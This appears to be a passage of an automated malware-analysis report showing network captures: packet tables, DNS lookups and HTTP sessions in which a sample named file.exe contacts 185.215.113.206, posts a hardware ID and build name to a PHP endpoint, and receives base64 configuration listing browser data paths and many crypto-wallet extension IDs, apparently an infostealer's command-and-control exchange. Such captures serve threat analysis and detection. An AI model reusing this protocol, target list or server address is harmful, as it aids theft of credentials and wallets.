Oct 31, 2024 17:27:46.182758093 CET	63097	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:46.182769060 CET	443	63097	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:46.215508938 CET	443	63093	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:46.215687990 CET	443	63093	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:46.215742111 CET	63093	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:46.215773106 CET	63093	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:46.215792894 CET	443	63093	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:46.215802908 CET	63093	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:46.215809107 CET	443	63093	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:46.218096972 CET	63098	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:46.218122959 CET	443	63098	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:46.218174934 CET	63098	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:46.218292952 CET	63098	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:46.218303919 CET	443	63098	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:46.442590952 CET	443	63094	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:46.443196058 CET	63094	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:46.443217993 CET	443	63094	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:46.443713903 CET	63094	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:46.443718910 CET	443	63094	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:46.574125051 CET	443	63094	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:46.574285030 CET	443	63094	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:46.574335098 CET	443	63094	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:46.574366093 CET	63094	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:46.574414968 CET	63094	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:46.574610949 CET	63094	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:46.574628115 CET	443	63094	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:46.574637890 CET	63094	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:46.574642897 CET	443	63094	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:46.703877926 CET	443	63095	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:46.704440117 CET	63095	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:46.704457998 CET	443	63095	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:46.704909086 CET	63095	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:46.704914093 CET	443	63095	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:46.833936930 CET	443	63095	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:46.834033966 CET	443	63095	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:46.834117889 CET	63095	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:46.834403038 CET	63095	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:46.834424973 CET	443	63095	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:46.834435940 CET	63095	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:46.834440947 CET	443	63095	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:46.879488945 CET	443	63096	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:46.880125046 CET	63096	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:46.880156994 CET	443	63096	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:46.880651951 CET	63096	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:46.880657911 CET	443	63096	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:46.949733019 CET	443	63098	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:46.950227022 CET	63098	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:46.950246096 CET	443	63098	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:46.950651884 CET	63098	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:46.950656891 CET	443	63098	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:46.951169014 CET	443	63097	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:46.951416016 CET	63097	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:46.951432943 CET	443	63097	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:46.951729059 CET	63097	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:46.951734066 CET	443	63097	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:47.050532103 CET	443	63096	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:47.050766945 CET	443	63096	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:47.050823927 CET	63096	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:47.051038980 CET	63096	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:47.051064014 CET	443	63096	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:47.051078081 CET	63096	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:47.051086903 CET	443	63096	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:47.077889919 CET	443	63098	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:47.078121901 CET	443	63098	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:47.078176022 CET	63098	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:47.078198910 CET	63098	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:47.078205109 CET	443	63098	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:47.078213930 CET	63098	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:47.078217030 CET	443	63098	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:47.082406044 CET	443	63097	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:47.082705975 CET	443	63097	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:47.082767010 CET	63097	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:47.082801104 CET	63097	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:47.082823038 CET	443	63097	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:47.082834005 CET	63097	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:47.082839966 CET	443	63097	13.107.246.45	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 31, 2024 17:26:12.685883045 CET	53	55779	1.1.1.1	192.168.2.4
Oct 31, 2024 17:26:12.798517942 CET	54010	53	192.168.2.4	1.1.1.1
Oct 31, 2024 17:26:12.798695087 CET	49400	53	192.168.2.4	1.1.1.1
Oct 31, 2024 17:26:12.798775911 CET	53	51251	1.1.1.1	192.168.2.4
Oct 31, 2024 17:26:12.805545092 CET	53	54010	1.1.1.1	192.168.2.4
Oct 31, 2024 17:26:12.806037903 CET	53	49400	1.1.1.1	192.168.2.4
Oct 31, 2024 17:26:14.071090937 CET	53	51797	1.1.1.1	192.168.2.4
Oct 31, 2024 17:26:16.941144943 CET	54907	53	192.168.2.4	1.1.1.1
Oct 31, 2024 17:26:16.941569090 CET	59123	53	192.168.2.4	1.1.1.1
Oct 31, 2024 17:26:16.946115971 CET	53	52871	1.1.1.1	192.168.2.4
Oct 31, 2024 17:26:16.947837114 CET	53	54907	1.1.1.1	192.168.2.4
Oct 31, 2024 17:26:16.949084997 CET	53	59123	1.1.1.1	192.168.2.4
Oct 31, 2024 17:26:17.948438883 CET	52221	53	192.168.2.4	1.1.1.1
Oct 31, 2024 17:26:17.948683977 CET	54817	53	192.168.2.4	1.1.1.1
Oct 31, 2024 17:26:17.955620050 CET	53	52221	1.1.1.1	192.168.2.4
Oct 31, 2024 17:26:17.955665112 CET	53	54817	1.1.1.1	192.168.2.4
Oct 31, 2024 17:26:18.358804941 CET	53	64784	1.1.1.1	192.168.2.4
Oct 31, 2024 17:26:20.513889074 CET	138	138	192.168.2.4	192.168.2.255

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 31, 2024 17:26:12.798517942 CET	192.168.2.4	1.1.1.1	0x3b24	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 17:26:12.798695087 CET	192.168.2.4	1.1.1.1	0xe8b8	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 31, 2024 17:26:16.941144943 CET	192.168.2.4	1.1.1.1	0x1fb6	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 17:26:16.941569090 CET	192.168.2.4	1.1.1.1	0xe4a3	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Oct 31, 2024 17:26:17.948438883 CET	192.168.2.4	1.1.1.1	0xfa5d	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 17:26:17.948683977 CET	192.168.2.4	1.1.1.1	0x1b1a	Standard query (0)	play.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 31, 2024 17:26:12.805545092 CET	1.1.1.1	192.168.2.4	0x3b24	No error (0)	www.google.com		142.250.185.196	A (IP address)	IN (0x0001)	false
Oct 31, 2024 17:26:12.806037903 CET	1.1.1.1	192.168.2.4	0xe8b8	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 31, 2024 17:26:16.947837114 CET	1.1.1.1	192.168.2.4	0x1fb6	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 17:26:16.947837114 CET	1.1.1.1	192.168.2.4	0x1fb6	No error (0)	plus.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Oct 31, 2024 17:26:16.949084997 CET	1.1.1.1	192.168.2.4	0xe4a3	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 17:26:17.955620050 CET	1.1.1.1	192.168.2.4	0xfa5d	No error (0)	play.google.com		172.217.23.110	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.google.com

apis.google.com

slscr.update.microsoft.com

play.google.com

fs.microsoft.com

otelrules.azureedge.net

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.206	80	7432	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 17:26:03.343046904 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 17:26:04.244452953 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:26:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 17:26:04.247895002 CET	411	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHIDBKFCAAEBFIDHDBAE Host: 185.215.113.206 Content-Length: 209 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 49 44 42 4b 46 43 41 41 45 42 46 49 44 48 44 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 33 35 36 36 30 33 32 38 32 44 35 34 37 38 32 34 35 32 35 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 42 4b 46 43 41 41 45 42 46 49 44 48 44 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 42 4b 46 43 41 41 45 42 46 49 44 48 44 42 41 45 2d 2d 0d 0a Data Ascii: ------FHIDBKFCAAEBFIDHDBAEContent-Disposition: form-data; name="hwid"4356603282D547824525------FHIDBKFCAAEBFIDHDBAEContent-Disposition: form-data; name="build"tale------FHIDBKFCAAEBFIDHDBAE--
Oct 31, 2024 17:26:04.545068026 CET	407	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:26:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 32 45 77 5a 57 4e 6a 5a 54 51 34 5a 54 51 78 4e 32 45 34 4d 6a 45 7a 59 6a 63 30 4f 54 45 31 4e 7a 59 30 4e 6d 55 33 59 6a 59 30 59 32 56 68 4d 54 56 68 4e 54 6b 79 4e 44 6b 32 59 6d 4d 31 4e 44 56 6c 59 54 5a 6b 59 6a 55 33 5a 44 49 79 4d 7a 6c 6d 4f 54 52 69 4f 54 46 6c 4e 44 52 68 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: M2EwZWNjZTQ4ZTQxN2E4MjEzYjc0OTE1NzY0NmU3YjY0Y2VhMTVhNTkyNDk2YmM1NDVlYTZkYjU3ZDIyMzlmOTRiOTFlNDRhfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 31, 2024 17:26:04.546614885 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKJDAEGCAFIIDGDGCGIJ Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 44 41 45 47 43 41 46 49 49 44 47 44 47 43 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 30 65 63 63 65 34 38 65 34 31 37 61 38 32 31 33 62 37 34 39 31 35 37 36 34 36 65 37 62 36 34 63 65 61 31 35 61 35 39 32 34 39 36 62 63 35 34 35 65 61 36 64 62 35 37 64 32 32 33 39 66 39 34 62 39 31 65 34 34 61 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 41 45 47 43 41 46 49 49 44 47 44 47 43 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 41 45 47 43 41 46 49 49 44 47 44 47 43 47 49 4a 2d 2d 0d 0a Data Ascii: ------AKJDAEGCAFIIDGDGCGIJContent-Disposition: form-data; name="token"3a0ecce48e417a8213b749157646e7b64cea15a592496bc545ea6db57d2239f94b91e44a------AKJDAEGCAFIIDGDGCGIJContent-Disposition: form-data; name="message"browsers------AKJDAEGCAFIIDGDGCGIJ--
Oct 31, 2024 17:26:04.828150034 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:26:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2064 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 58 45 64 76 62 32 64 73 5a 56 78 63 51 32 68 79 62 32 31 6c 58 46 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 63 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4d 48 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 57 31 70 5a 32 39 38 58 45 46 74 61 57 64 76 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEdvb2dsZVxcQ2hyb21lXFxBcHBsaWNhdGlvblxcfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8MHxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8QW1pZ298XEFtaWdvXFVzZXIgRGF0YXxjaHJvbWV8MHwwfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfDB8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8JUxPQ0FMQVBQREFUQSVcXFZpdmFsZGlcXEFwcGxpY2F0aW9uXFx8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8MHxFcGljUHJpdmFjeUJyb3dzZXJ8XEVwaWMgUHJpdmFjeSBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8ZXBpYy5leGV8JUxPQ0FMQVBQREFUQSVcXEVwaWMgUHJpdmFjeSBCcm93c2VyXFxBcHBsaWNhdGlvblxcfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicm93c2VyLmV4ZXxDOlxcUHJvZ3JhbSBGaWxlc1xcQ29jQ29jXFxCcm93c2VyXFxBcHBsaWNhdGlvblxcfEJyYXZlfFxCcmF2ZVNvZnR3YXJlXEJyYXZlLUJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicmF2ZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEJyYXZlU29mdHdhcmVcXEJyYXZlLUJyb3dz
Oct 31, 2024 17:26:04.828829050 CET	1056	IN	Data Raw: 5a 58 4a 63 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 46 78 38 51 32 56 75 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 Data Ascii: ZXJcXEFwcGxpY2F0aW9uXFx8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcXENlbnRCcm93c2VyXFxBcHBsaWNhdGlvblxcfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXI
Oct 31, 2024 17:26:04.841012955 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKEHDBAEGIIIEBGCAAFH Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 30 65 63 63 65 34 38 65 34 31 37 61 38 32 31 33 62 37 34 39 31 35 37 36 34 36 65 37 62 36 34 63 65 61 31 35 61 35 39 32 34 39 36 62 63 35 34 35 65 61 36 64 62 35 37 64 32 32 33 39 66 39 34 62 39 31 65 34 34 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 2d 2d 0d 0a Data Ascii: ------KKEHDBAEGIIIEBGCAAFHContent-Disposition: form-data; name="token"3a0ecce48e417a8213b749157646e7b64cea15a592496bc545ea6db57d2239f94b91e44a------KKEHDBAEGIIIEBGCAAFHContent-Disposition: form-data; name="message"plugins------KKEHDBAEGIIIEBGCAAFH--
Oct 31, 2024 17:26:05.123991013 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:26:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 31, 2024 17:26:05.124067068 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Oct 31, 2024 17:26:05.124080896 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Oct 31, 2024 17:26:05.126617908 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
